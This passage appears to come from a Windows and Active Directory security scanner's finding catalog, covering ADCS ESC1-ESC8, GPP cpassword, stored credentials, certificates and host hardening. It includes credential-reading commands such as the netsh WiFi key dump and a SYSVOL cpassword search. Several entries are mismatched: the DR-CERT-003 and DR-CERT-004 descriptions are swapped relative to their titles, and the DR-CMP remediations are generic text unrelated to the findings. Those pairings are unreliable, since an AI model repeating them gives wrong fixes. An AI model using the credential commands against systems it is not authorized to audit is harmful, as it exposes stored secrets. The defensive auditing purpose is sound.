Description: Domain user accounts were found that have not logged in for an extended period (90+ days) and are still enabled. Stale accounts represent dormant attack surface that attackers can target without triggering alerts tied to active users.
Impact: Stale accounts are attractive targets for attackers because their compromise is less likely to be noticed — no legitimate user will report unexpected activity. These accounts may retain their original (potentially weak) passwords, group memberships, and access permissions. If any stale account has privileged access, it presents an unmonitored path to escalation.
Remediation: Implement a regular account review process (at least quarterly). Disable accounts inactive for 90+ days. Delete accounts inactive for 180+ days after confirming they are no longer needed. Automate with PowerShell: Search-ADAccount -AccountInactive -TimeSpan 90.00:00:00 | Disable-ADAccount. Audit disabled accounts for sensitive group memberships before deletion.
Effort: Easy
CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:N/A:N
OWASP Web: A07:2021 - Identification and Authentication Failures
MITRE ATT&CK: T1078.002 (Defense Evasion)
NIST 800-53: AC-2, AC-2(3)
PCI DSS 4: 8.1.4, 8.2.5
MEDIUM DR-AD-014 — Active Directory: SID History Abuse Risk
Description: User or group accounts with non-empty SID History attributes were found. SID History is a legitimate migration feature that preserves access to resources in a source domain after migration. However, SID History can be abused to inject arbitrary SIDs (including Domain Admins) into a user's token.
Impact: An attacker who can modify the SID History attribute can inject the SID of a privileged group (e.g., Domain Admins, Enterprise Admins) into their own or another account's SID History. The injected SID is included in the user's Kerberos tickets and PAC, granting access to all resources the injected SID has permission to. This is a stealthy persistence technique because the user's group memberships appear normal.
Remediation: Audit all accounts with SID History: Get-ADUser -Filter 'SIDHistory -like "*"' -Properties SIDHistory | Select Name,SIDHistory. Remove SID History entries after domain migration is complete and verified: Set-ADUser -Identity <user> -Remove @{SIDHistory=<SID>}. Enable SID filtering on all trusts to prevent cross-domain SID History abuse. Monitor Event ID 4765 (SID History added) and Event ID 4766 (SID History add attempt failed).
Effort: Moderate
CVSS Vector: CVSS:3.1/AV:N/AC:H/PR:H/UI:N/S:U/C:H/I:H/A:N
OWASP Web: A01:2021 - Broken Access Control
MITRE ATT&CK: T1134.005 (Defense Evasion)
NIST 800-53: AC-6, AU-6, SI-4
PCI DSS 4: 7.1.1, 10.6.1
CRITICAL DR-ADCS-001 — ADCS: ESC1 - Misconfigured Certificate Template
Description: A certificate template allows enrollees to specify a Subject Alternative Name (SAN) in the certificate request, AND low-privileged users can enroll, AND the template has an EKU that permits authentication (Client Authentication, PKINIT, Smart Card Logon, or any purpose). This is the ESC1 attack vector identified by SpecterOps.
Impact: Any low-privileged domain user can request a certificate with an arbitrary SAN (e.g., specifying a Domain Admin UPN). This certificate can then be used for Kerberos authentication as the impersonated user, achieving complete domain compromise without needing to know the target user's password. This is the most commonly exploited ADCS vulnerability.
Remediation: Disable 'Supply in the request' option on the Subject Name tab of vulnerable certificate templates. Instead, configure 'Build from Active Directory information'. Restrict enrollment permissions to only the users/groups that require the template. Remove unnecessary EKUs (especially 'Any Purpose'). Consider removing the template entirely if not operationally required. Audit with: certutil -v -template | findstr /i 'CT_FLAG_ENROLLEE_SUPPLIES_SUBJECT'.
Effort: Moderate
CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H
OWASP Web: A01:2021 - Broken Access Control
MITRE ATT&CK: T1649 (Credential Access)
NIST 800-53: IA-5, AC-6, SC-17
PCI DSS 4: 4.2.1, 7.1.1, 8.3.1
CISA KEV
HIGH DR-ADCS-002 — ADCS: ESC2 - Overly Permissive Template
Description: A certificate template has an Extended Key Usage (EKU) of 'Any Purpose' (OID 2.5.29.37.0) or no EKU at all (which is equivalent to any purpose), AND low-privileged users can enroll. Certificates with Any Purpose or no EKU restrictions can be used for any purpose including client authentication, code signing, and subordinate CA issuance.
Impact: A certificate with 'Any Purpose' or no EKU can be used for client authentication (impersonating any user), code signing (creating trusted malicious software), or even as a subordinate CA certificate (issuing arbitrary certificates). The combination of unrestricted EKU and broad enrollment permissions creates a powerful attack vector for domain compromise.
Remediation: Replace 'Any Purpose' EKU with specific, required EKUs only (e.g., Client Authentication only if that is the purpose). Remove templates with no EKU unless operationally justified. Restrict enrollment permissions to the minimum required groups. Audit all templates for overly broad EKU settings using certipy or Certutil.
Effort: Moderate
CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:N
OWASP Web: A01:2021 - Broken Access Control
MITRE ATT&CK: T1649 (Credential Access)
NIST 800-53: AC-6, SC-17, CM-6
PCI DSS 4: 4.2.1, 7.1.1
HIGH DR-ADCS-003 — ADCS: ESC3 - Enrollment Agent Template
Description: A certificate template with the Certificate Request Agent EKU (OID 1.3.6.1.4.1.311.20.2.1) allows low-privileged users to enroll. An Enrollment Agent certificate enables the holder to request certificates on behalf of other users, including privileged accounts.
Impact: An attacker can first obtain an Enrollment Agent certificate, then use it to request certificates for any other user in the domain (e.g., Domain Admins) using a second template that allows enrollment by enrollment agents. This two-step attack achieves domain compromise by impersonating any user via certificate-based authentication.
Remediation: Restrict enrollment permissions on Enrollment Agent templates to only authorized Certificate Enrollment administrators. Configure enrollment restrictions on the CA: right-click CA > Properties > Enrollment Agents tab to restrict which enrollment agents can enroll for which templates and users. Consider disabling the Enrollment Agent template if not operationally required.
Effort: Moderate
CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:N
OWASP Web: A01:2021 - Broken Access Control
MITRE ATT&CK: T1649 (Credential Access)
NIST 800-53: AC-6, SC-17, IA-5
PCI DSS 4: 7.1.1, 8.3.1
HIGH DR-ADCS-004 — ADCS: ESC4 - Vulnerable Template ACL
Description: A certificate template's access control list (ACL) grants write permissions (WriteDACL, WriteOwner, WriteProperty, or GenericWrite) to low-privileged users or groups. This allows an attacker to modify the template configuration to introduce ESC1-ESC3 conditions.
Impact: An attacker with write access to a certificate template can modify it to enable ESC1 (add CT_FLAG_ENROLLEE_SUPPLIES_SUBJECT), change EKUs to 'Any Purpose', or enable enrollment for their own account. After modification, they exploit the newly created ESC1/ESC2/ESC3 condition for domain compromise. The template modification itself may go unnoticed without specific ADCS auditing.
Remediation: Audit all certificate template ACLs and remove write permissions for non-administrative groups. Only Enterprise Admins, Domain Admins, and designated PKI administrators should have write access to templates. Use: certutil -v -template | Select-String 'Allow.*Write'. Review and tighten ACLs via certtmpl.msc. Enable ADCS auditing to detect template modifications.
Effort: Moderate
CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:N
OWASP Web: A01:2021 - Broken Access Control
MITRE ATT&CK: T1649 (Credential Access)
NIST 800-53: AC-3, AC-6, CM-5
PCI DSS 4: 7.1.1, 7.2.1
CRITICAL DR-ADCS-005 — ADCS: ESC6 - EDITF_ATTRIBUTESUBJECTALTNAME2
Description: The Certificate Authority has the EDITF_ATTRIBUTESUBJECTALTNAME2 flag enabled. This CA-level configuration allows ANY certificate requester to specify an arbitrary Subject Alternative Name (SAN) in their request, regardless of template settings. This effectively makes every authentication template on this CA vulnerable to ESC1.
Impact: With this flag enabled, any domain user who can enroll in any template with an authentication EKU can specify an arbitrary SAN, impersonating any user in the domain including Domain Admins. This is a CA-wide misconfiguration that bypasses per-template SAN controls — fixing individual templates does not mitigate this issue. A single CA with this flag compromises the entire domain.
Remediation: Disable the EDITF_ATTRIBUTESUBJECTALTNAME2 flag on the CA: certutil -config "CA\CAName" -setreg policy\EditFlags -EDITF_ATTRIBUTESUBJECTALTNAME2. Restart the CA service: net stop certsvc && net start certsvc. Verify: certutil -config "CA\CAName" -getreg policy\EditFlags — the output should NOT include EDITF_ATTRIBUTESUBJECTALTNAME2. After disabling, audit all recently issued certificates for suspicious SAN values.
Effort: Easy
CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H
OWASP Web: A01:2021 - Broken Access Control
MITRE ATT&CK: T1649 (Credential Access)
NIST 800-53: IA-5, AC-6, SC-17, CM-6
PCI DSS 4: 4.2.1, 7.1.1
HIGH DR-ADCS-006 — ADCS: ESC8 - NTLM Relay to HTTP Enrollment
Description: The AD Certificate Services web enrollment endpoint is accessible over HTTP (not HTTPS) and/or does not enforce Extended Protection for Authentication (EPA). This allows NTLM relay attacks where a coerced machine account authentication (e.g., via PetitPotam, PrinterBug) can be relayed to the enrollment endpoint to request a certificate as the machine.
Impact: An attacker can coerce a domain controller to authenticate to their machine (using PetitPotam, PrinterBug, or similar), then relay that authentication to the ADCS HTTP enrollment endpoint to obtain a certificate as the DC's machine account. This certificate allows the attacker to authenticate as the DC, enabling DCSync to extract all domain credentials. This is a full domain compromise path.
Remediation: Enable HTTPS on all ADCS web enrollment endpoints and disable HTTP. Enable Extended Protection for Authentication (EPA) in IIS: IIS Manager > Authentication > Windows Authentication > Advanced Settings > Extended Protection = Required. Alternatively, disable the web enrollment role entirely if not required and use certreq or autoenrollment instead. Install patches for PetitPotam (CVE-2021-36942). Enable NTLM relay mitigations: enable SMB signing, LDAP signing, and channel binding.
Effort: Moderate
CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:N
OWASP Web: A07:2021 - Identification and Authentication Failures
MITRE ATT&CK: T1187 (Credential Access), T1557.001 (Credential Access)
NIST 800-53: IA-2, SC-8, SC-23
PCI DSS 4: 4.2.1, 8.3.1
CISA KEV
HIGH DR-BRW-001 — Browser: Malicious Extension Detected ({browser})
Description: One or more browser extensions match known malicious extensions in the threat intelligence database. These extensions may be stealing credentials, injecting ads, or exfiltrating browsing data.
Impact: Malicious browser extensions can intercept all web traffic including passwords, session tokens, banking credentials, and form data. They can inject content into pages, redirect searches, cryptomine, and exfiltrate browsing history. They persist across browser restarts and are often difficult for users to identify.
Remediation: Remove the malicious extension(s) immediately. Check other browsers on the system for the same extensions. Review browsing history for credential exposure. Force password resets for any accounts accessed while the extension was installed. Deploy browser extension whitelisting via Group Policy.
Effort: Easy
CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H
OWASP Web: A06:2021 - Vulnerable and Outdated Components
MITRE ATT&CK: T1176 (Persistence)
NIST 800-53: SI-3, CM-7
PCI DSS 4: 5.2.1
MEDIUM DR-BRW-002 — Browser: Proxy Configured ({browser})
Description: A browser-level proxy configuration was detected, separate from system proxy settings. This proxy intercepts all browser traffic and may route it through an unintended intermediary.
Impact: A browser-level proxy can intercept all HTTP/HTTPS traffic from the browser, including login credentials, session tokens, and sensitive data. Browser-level proxies may bypass system proxy settings, making them harder to detect. If the proxy is malicious, it enables credential theft and traffic manipulation.
Remediation: Verify the proxy configuration is authorized and expected. Compare with system proxy settings. If a browser-specific proxy is not required, remove it. Investigate whether malware or a malicious extension configured the proxy.
Effort: Easy
CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:L/I:L/A:N
OWASP Web: A05:2021 - Security Misconfiguration
MITRE ATT&CK: T1090 (Command and Control)
NIST 800-53: CM-11, SI-3
PCI DSS 4: 6.3.2
MEDIUM DR-BRW-003 — Browser: Suspicious Bookmark Detected ({browser})
Description: One or more browser bookmarks link to domains or IPs associated with known malicious infrastructure in the threat intelligence database.
Impact: Bookmarks to malicious domains may indicate the user regularly visits compromised or phishing sites. This could be a watering hole attack vector, a phishing landing page saved by a targeted user, or a bookmark planted by malware for persistence or redirection.
Remediation: Investigate each suspicious bookmark. Check if the user intentionally saved it or if it was created by malware. Review browser history for visits to the bookmarked URLs. Remove the bookmarks and block the domains at the DNS/proxy level. Scan the system for malware.
Effort: Easy
CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
OWASP Web: A05:2021 - Security Misconfiguration
MITRE ATT&CK: T1189 (Initial Access)
NIST 800-53: SI-3, SC-7
PCI DSS 4: 6.3.3
MEDIUM DR-CERT-001 — Certificate: Expired Certificate
Description: One or more certificates in the local machine or current user certificate store have expired.
Impact: Expired certificates cause service disruptions, authentication failures, and trust warnings. They may also indicate neglected systems or processes. Expired certificates used for code signing or SSL/TLS expose users to man-in-the-middle and substitution attacks.
Remediation: Renew or replace all expired certificates. Remove expired certificates that are no longer needed. Implement certificate lifecycle management with automated renewal alerts at 30, 14, and 7 days before expiry.
Effort: Easy
CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:L
OWASP Web: A02:2021 - Cryptographic Failures
NIST 800-53: SC-17
PCI DSS 4: 4.2.1
MEDIUM DR-CERT-002 — Certificate: Expiring Soon
Description: One or more certificates will expire within the next 30 days.
Impact: Certificates expiring soon risk service disruptions if not renewed in time. SSL/TLS certificate expiry causes browser warnings and connection failures. Authentication certificate expiry can lock out users.
Remediation: Renew expiring certificates before their expiry date. Use automated certificate management tools (ACME, internal CA auto-enrollment) where possible. Verify new certificates are properly installed and tested before the old ones expire.
Effort: Easy
CVSS Vector: CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:L
OWASP Web: A02:2021 - Cryptographic Failures
NIST 800-53: SC-17
PCI DSS 4: 4.2.1
MEDIUM DR-CERT-003 — Certificate: Self-Signed in Trust Store
Description: Certificates using deprecated signature algorithms (SHA1) or insufficient key lengths (RSA < 2048 bits) were detected.
Impact: SHA1 signatures are vulnerable to collision attacks, enabling certificate forgery. RSA keys shorter than 2048 bits can be factored with sufficient computational resources, compromising the certificate's security.
Remediation: Replace weak certificates with ones using SHA-256 or stronger signature algorithms and RSA 2048-bit or longer keys (or ECDSA P-256+). Update internal CA templates to enforce modern cryptographic standards.
Effort: Easy
CVSS Vector: CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:N/A:N
OWASP Web: A02:2021 - Cryptographic Failures
MITRE ATT&CK: T1553.004 (Defense Evasion)
NIST 800-53: SC-17, IA-5
PCI DSS 4: 4.2.1
MEDIUM DR-CERT-004 — Certificate: Weak Signature Algorithm
Description: A self-signed certificate that is not from a well-known Certificate Authority was found in the Trusted Root Certification Authorities store.
Impact: Unknown root certificates in the trusted store could enable man-in-the-middle attacks by allowing an attacker's CA to issue trusted certificates for any domain. This could be from legitimate enterprise CA deployment or from malware installing rogue roots.
Remediation: Review all non-standard root certificates. Verify each against the organization's internal CA infrastructure. Remove any certificates that cannot be accounted for. If a rogue root is found, investigate how it was installed and treat the system as potentially compromised.
Effort: Easy
CVSS Vector: CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:N/A:N
OWASP Web: A02:2021 - Cryptographic Failures
MITRE ATT&CK: T1553.004 (Defense Evasion)
NIST 800-53: SC-13
PCI DSS 4: 4.2.1
MEDIUM DR-CERT-005 — Certificate: Weak Key Size
Description: A certificate using a key size shorter than 2048 bits was detected. Keys shorter than 2048 bits are considered weak and can be factored with modern computing resources, compromising all protections the certificate provides.
Impact: A weak key can be factored using distributed computing or cloud resources. 1024-bit RSA keys have been publicly factored, and NIST deprecated keys shorter than 2048 bits since 2013. An attacker who factors the key can forge signatures, decrypt traffic, and impersonate the certificate holder.
Remediation: Replace the certificate with one using at least a 2048-bit RSA key (3072-bit or 4096-bit recommended for long-lived certificates). For new deployments, consider ECDSA P-256 or P-384 keys which provide equivalent security at smaller sizes. Update the certificate on all services and endpoints.
Effort: Easy
CVSS Vector: CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:N/A:N
OWASP Web: A02:2021 - Cryptographic Failures
NIST 800-53: SC-12, SC-13
PCI DSS 4: 4.2.1
MEDIUM DR-CMP-001 — Firewall: Profile Disabled
Description: One or more Windows Firewall profiles (Domain, Private, or Public) are disabled, leaving network traffic unfiltered for those network types.
Impact: With a firewall profile disabled, the system accepts all inbound connections on that network type, exposing services and ports that should be restricted. Attackers on the same network can directly reach services without firewall filtering.
Remediation: Develop a system hardening plan based on the CIS Benchmark for the specific Windows version. Prioritize Level 1 controls first as they have minimal operational impact. Implement changes through Group Policy for consistent deployment across endpoints.
Effort: Easy
CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:L
OWASP Web: A05:2021 - Security Misconfiguration
MITRE ATT&CK: T1562.004 (Defense Evasion)
NIST 800-53: SC-7
PCI DSS 4: 1.4.1
MEDIUM DR-CMP-002 — Policy: Screen Lock Timeout Not Configured
Description: The screen lock timeout (ScreenSaverGracePeriod or equivalent) is not configured or is set to a value greater than 15 minutes, allowing unattended sessions to remain accessible.
Impact: Unattended workstations without automatic screen lock allow physical attackers to access active sessions with the authenticated user's full privileges, including domain credentials and cached tokens.
Remediation: Address the specific failing CIS controls, prioritizing those related to authentication, access control, and network security. Focus on Level 1 controls that have not been implemented. Use Group Policy to enforce configurations across the organization.
Effort: Easy
CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N
OWASP Web: A05:2021 - Security Misconfiguration
MITRE ATT&CK: T1078 (Initial Access)
NIST 800-53: AC-11
PCI DSS 4: 8.2.8
HIGH DR-CMP-003 — Network Hardening: NetBIOS over TCP/IP Enabled
Description: NetBIOS over TCP/IP (NBT) is enabled on one or more network interfaces, exposing the legacy name resolution and session services on ports 137-139.
Impact: NetBIOS enables name-squatting, NBNS poisoning, and session enumeration. Attackers on the local network can intercept name resolution queries to redirect traffic, harvest credentials via NTLM relay, and enumerate shares, users, and sessions.
Remediation: Remediate all DISA STIG Category I findings immediately. These represent the highest priority security issues. Apply STIG fixes via Group Policy or SCAP compliance tools. Document any findings requiring a Plan of Action and Milestones (POA&M) if immediate remediation is not possible.
Effort: Easy
CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
OWASP Web: A05:2021 - Security Misconfiguration
MITRE ATT&CK: T1557.001 (Credential Access)
NIST 800-53: CM-7, SC-7
PCI DSS 4: 2.2.1
MEDIUM DR-CMP-004 — Network Hardening: IPv6 Transition Technologies
Description: IPv6 transition technologies (Teredo, ISATAP, 6to4) are enabled, creating encapsulated IPv6-over-IPv4 tunnels that may bypass network security controls.
Impact: IPv6 transition protocols can tunnel traffic past IPv4-only firewalls and IDS/IPS systems. Attackers can use these tunnels for covert command-and-control channels or to bypass network segmentation. Teredo in particular operates over UDP and can traverse NAT.
Remediation: Plan remediation of DISA STIG Category II findings within 90 days. Prioritize those related to authentication and access control. Apply STIG fixes via Group Policy where possible for consistent deployment.
Effort: Easy
CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N
OWASP Web: A05:2021 - Security Misconfiguration
MITRE ATT&CK: T1572 (Command and Control)
NIST 800-53: CM-7, SC-7
PCI DSS 4: 2.2.1
MEDIUM DR-CMP-005 — Service Hardening: Remote Registry Enabled
Description: The Remote Registry service (RemoteRegistry) is enabled and/or running, allowing remote systems to read and modify the local Windows registry.
Impact: Remote Registry access enables attackers with valid credentials to remotely query and modify registry keys for reconnaissance, persistence, and configuration changes. Attackers can read stored credentials, enumerate installed software, and plant persistence mechanisms without interactive logon.
Remediation: Use the hardening score as a baseline measurement and track improvements over time. Prioritize remediation of findings that contribute most to the score deficit. Establish a target hardening score and implement a continuous improvement program.
Effort: Easy
OWASP Web: A05:2021 - Security Misconfiguration
MITRE ATT&CK: T1012 (Discovery)
NIST 800-53: CM-7, AC-3
PCI DSS 4: 11.3.1
MEDIUM DR-CRED-001 — Credential Exposure: WiFi Passwords in Cleartext
Description: Wireless network profiles on this system store passwords in cleartext. The 'netsh wlan show profiles key=clear' command can extract these credentials without elevated privileges on some Windows versions, or with local admin on others.
Impact: An attacker with local access can extract stored WiFi passwords for all previously connected networks. These credentials may grant access to corporate wireless networks, enabling lateral movement or unauthorized network access from outside the physical premises.
Remediation: Configure WiFi profiles to not store passwords locally where possible. Use 802.1X/EAP certificate-based authentication instead of PSK. For WPA2-Personal/WPA3-Personal networks, limit local admin access and implement endpoint detection for credential harvesting tools. Remove saved profiles for networks no longer in use.
Effort: Moderate
CVSS Vector: CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N
OWASP Web: A02:2021 - Cryptographic Failures
MITRE ATT&CK: T1552.004 (Credential Access)
NIST 800-53: IA-5, SC-28
PCI DSS 4: 8.3.1, 8.3.2
MEDIUM DR-CRED-002 — Credential Exposure: Saved Remote Sessions
Description: Saved remote access session configurations were found on this system, potentially containing stored credentials. This includes PuTTY sessions (registry), WinSCP sessions (registry/ini), FileZilla sitemanager.xml entries, and/or saved .rdp files with password hashes.
Impact: Stored remote session credentials provide an attacker with ready-made access paths to other systems. PuTTY and WinSCP may store passwords in reversible formats, FileZilla historically stored passwords in base64 (trivially decoded), and .rdp files may contain password hashes. Compromising these sessions enables lateral movement to additional hosts.
Remediation: Remove saved credentials from remote access tools. Configure PuTTY and WinSCP to use SSH key authentication instead of passwords. Delete FileZilla sitemanager.xml entries that contain passwords. Remove .rdp files with embedded credentials. Use a secrets manager or enterprise password vault for remote access credentials.
Effort: Moderate
CVSS Vector: CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N
OWASP Web: A07:2021 - Identification and Authentication Failures
MITRE ATT&CK: T1552.001 (Credential Access)
NIST 800-53: IA-5, SC-28, AC-3
PCI DSS 4: 8.3.1, 8.3.2, 8.6.3
HIGH DR-CRED-003 — Credential Exposure: Credential Files on Disk
Description: Files containing plaintext or easily reversible credentials were found on disk. This includes unattend.xml/autounattend.xml (deployment passwords), sysprep.xml/sysprep.inf files, web.config connection strings, applicationHost.config bindings, and/or McAfee SiteList.xml files.
Impact: These files often contain local administrator passwords, database connection strings, service account credentials, or encryption keys in cleartext or trivially reversible formats. An attacker can use these credentials for privilege escalation, database access, or lateral movement. Deployment files (unattend.xml) frequently contain the initial administrator password used during Windows installation.
Remediation: Remove or securely delete all deployment files (unattend.xml, sysprep.xml) after provisioning. Encrypt connection strings in web.config using aspnet_regiis -pe. Replace cleartext passwords in applicationHost.config with encrypted alternatives. Audit the file system for credential remnants periodically using endpoint detection rules.
Effort: Moderate
CVSS Vector: CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:C/C:H/I:N/A:N
OWASP Web: A02:2021 - Cryptographic Failures
MITRE ATT&CK: T1552.001 (Credential Access)
NIST 800-53: IA-5, SC-28, CM-6
PCI DSS 4: 2.2.1, 8.3.1, 8.3.2
CRITICAL DR-CRED-004 — Credential Exposure: GPP cpassword Exposure
Description: Group Policy Preferences (GPP) XML files containing the 'cpassword' attribute were found in SYSVOL. Microsoft published the AES-256 key used to encrypt these passwords in MSDN documentation, making all cpassword values trivially decryptable by any domain user.
Impact: Any authenticated domain user can read SYSVOL and decrypt GPP passwords using the publicly known AES key. These passwords typically belong to local administrator accounts, service accounts, or scheduled task accounts configured via Group Policy. This is a well-known, trivially exploitable vulnerability that provides immediate privilege escalation in most Active Directory environments.
Remediation: Install MS14-025 (KB2962486) which prevents creation of new GPP passwords. Delete all existing GPP XML files in SYSVOL that contain cpassword attributes. Rotate all passwords that were stored in GPP. Migrate to LAPS or gMSA for local administrator password management. Search SYSVOL: Get-ChildItem -Path '\\domain\SYSVOL' -Recurse -Include Groups.xml,Services.xml,Scheduledtasks.xml,DataSources.xml,Printers.xml,Drives.xml | Select-String 'cpassword'.
Effort: Moderate
CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
OWASP Web: A02:2021 - Cryptographic Failures
MITRE ATT&CK: T1552.006 (Credential Access)
NIST 800-53: IA-5, SC-28, CM-6
PCI DSS 4: 2.2.1, 8.3.1, 8.3.2
CISA KEV
HIGH DR-CRED-005 — Credential Exposure: Cloud Credential Files
Description: Cloud provider credential files were found on this system. This includes AWS credentials (~/.aws/credentials), Azure profiles (~/.azure/), and/or GCP service account key JSON files. These files contain access keys, tokens, or private keys that authenticate to cloud services.
Impact: Compromised cloud credentials can grant an attacker access to cloud infrastructure, including compute instances, storage buckets, databases, and IAM controls. Depending on the permissions associated with the credentials, this can lead to data exfiltration, resource hijacking (cryptomining), or full cloud account compromise. Cloud credentials are frequently over-provisioned with excessive permissions.
Remediation: Remove long-lived cloud credential files from endpoints. Use short-lived tokens via IAM roles, instance profiles, or managed identities instead. For development machines, use aws-vault, Azure CLI managed identity, or workload identity federation. Rotate any credentials that were stored on disk. Implement cloud credential scanning in CI/CD pipelines.
Effort: Moderate
CVSS Vector: CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:C/C:H/I:N/A:N
OWASP Web: A02:2021 - Cryptographic Failures
MITRE ATT&CK: T1552.001 (Credential Access)
NIST 800-53: IA-5, SC-28, AC-2
PCI DSS 4: 8.3.1, 8.6.3
INFO DR-CRED-006 — Credential Exposure: Credential Manager Entries
Description: Windows Credential Manager (Vault) contains stored credential entries. These may include web credentials, Windows credentials for network shares, and application-specific credentials protected by DPAPI.
Impact: While Credential Manager entries are protected by DPAPI (tied to the user's logon session), they can be decrypted by any process running as that user. If an attacker gains user-level access, they can extract all Vault credentials using tools like mimikatz or built-in vaultcmd commands. This finding is informational — the presence of stored credentials is expected behavior.
Remediation: Review stored credentials periodically and remove entries for systems or services no longer accessed. Educate users not to save domain credentials in Credential Manager for sensitive systems. Implement Credential Guard to protect LSASS-derived credentials from extraction.
Effort: Easy
OWASP Web: A02:2021 - Cryptographic Failures
MITRE ATT&CK: T1555.004 (Credential Access)
NIST 800-53: IA-5
PCI DSS 4: 8.3.1
MEDIUM DR-CRED-007 — Credential Exposure: DPAPI Master Key Accessible
Description: DPAPI (Data Protection API) master key material was found to be accessible on this system. DPAPI protects user credentials, browser passwords, WiFi keys, and other sensitive data. If an attacker can access the master key or derive it from the user's password, all DPAPI-protected secrets can be decrypted.
Impact: DPAPI is the underlying encryption mechanism for Windows Credential Manager, browser saved passwords (Chrome, Edge), WiFi passwords, and many application secrets. An attacker with access to the DPAPI master key (stored in %APPDATA%\Microsoft\Protect\) and knowledge of the user's password can decrypt all DPAPI-protected data, providing access to a wide range of stored credentials.
Remediation: Implement Credential Guard to protect DPAPI master keys with virtualization-based security. Enforce strong passwords to make DPAPI key derivation computationally expensive. Restrict local admin access to limit offline DPAPI attacks. Use hardware-backed credential storage (TPM, smart cards) for the most sensitive credentials.
Effort: Significant
CVSS Vector: CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N
OWASP Web: A02:2021 - Cryptographic Failures
MITRE ATT&CK: T1555.004 (Credential Access)
NIST 800-53: SC-28, SC-12, IA-5
PCI DSS 4: 3.5.1, 8.3.1
INFO DR-CRED-008 — Credential Exposure: KeePass Database Found
Description: KeePass password database files (.kdbx) were found on this system. While KeePass databases are encrypted, their presence indicates this system stores a password vault that may be targeted by attackers for credential harvesting.
Impact: KeePass databases, if protected by a weak master password, can be cracked offline. CVE-2023-32784 demonstrated that KeePass master passwords could be recovered from process memory. Additionally, KeePass plugin loading, trigger mechanisms, and configuration file manipulation have been used for credential theft. The database itself is a high-value target for exfiltration.
Remediation: Ensure KeePass databases use strong master passwords (20+ characters) combined with key files. Keep KeePass updated to the latest version. Restrict KeePass plugin loading to signed/approved plugins. Consider migrating to an enterprise password manager with centralized audit logging and MFA enforcement.
Effort: Easy
OWASP Web: A02:2021 - Cryptographic Failures
MITRE ATT&CK: T1555.005 (Credential Access)
NIST 800-53: SC-28, IA-5
PCI DSS 4: 8.3.1
MEDIUM DR-CRED-009 — Credential Exposure: SSH Private Keys Found
Description: SSH private key files were found on this system. These keys may provide passwordless authentication to remote systems (Linux servers, network devices, cloud instances). Keys without passphrases are immediately usable by anyone who can read them.
Impact: SSH private keys provide direct authentication to remote systems without requiring a password. If a key has no passphrase (or a weak one), an attacker can immediately use it for lateral movement. Keys in authorized_keys on target systems often have broad permissions. A single compromised SSH key can provide access to many systems in the environment.
Remediation: Ensure all SSH private keys are protected with strong passphrases. Use ssh-agent for key caching rather than storing unprotected keys. Implement SSH certificate-based authentication for managed environments. Audit and rotate SSH keys regularly. Remove keys for systems no longer accessed. Consider hardware-backed keys (FIDO2/PIV).
Effort: Moderate
CVSS Vector: CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N
OWASP Web: A02:2021 - Cryptographic Failures
MITRE ATT&CK: T1552.004 (Credential Access)
NIST 800-53: IA-5, SC-12, SC-28
PCI DSS 4: 8.3.1, 8.6.1
HIGH DR-EVT-001 — Event Log: Brute Force Attack Detected
Description: Brute-force login activity detected with multiple failed authentication attempts from the same source within the past 7 days. Sources with more than 10 failures indicate automated credential guessing attacks targeting the system.
Impact: Sustained brute-force attacks may eventually succeed, especially against accounts with weak or reused passwords. Successful compromise grants the attacker interactive access to the system and may lead to lateral movement, privilege escalation, and data exfiltration.
Remediation: Implement account lockout policies (5-10 attempts), enable multi-factor authentication, and block offending source IPs at the firewall. Investigate targeted accounts for compromise indicators. Consider implementing Azure AD Smart Lockout for adaptive protection.
Effort: Moderate
CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
OWASP Web: A07:2021 - Identification and Authentication Failures
MITRE ATT&CK: T1110 (Credential Access)
NIST 800-53: AC-7, SI-4
PCI DSS 4: 10.3.1
MEDIUM DR-EVT-002 — Event Log: Account Lockouts Detected
Description: Account lockout events (Event ID 4740) were detected in the security event log, indicating accounts are being locked due to repeated failed authentication. Lockouts may be caused by brute-force attacks, misconfigured services, or stale cached credentials.
Impact: Account lockouts from brute-force attempts confirm active credential attacks against the system. Service account lockouts can cause application outages and business disruption.
Remediation: Investigate the source of lockouts for each affected account. For user accounts, verify no credential compromise occurred. For service accounts, check for stale cached credentials in scheduled tasks, services, or mapped drives. Consider migrating to Group Managed Service Accounts (gMSA).
Effort: Moderate
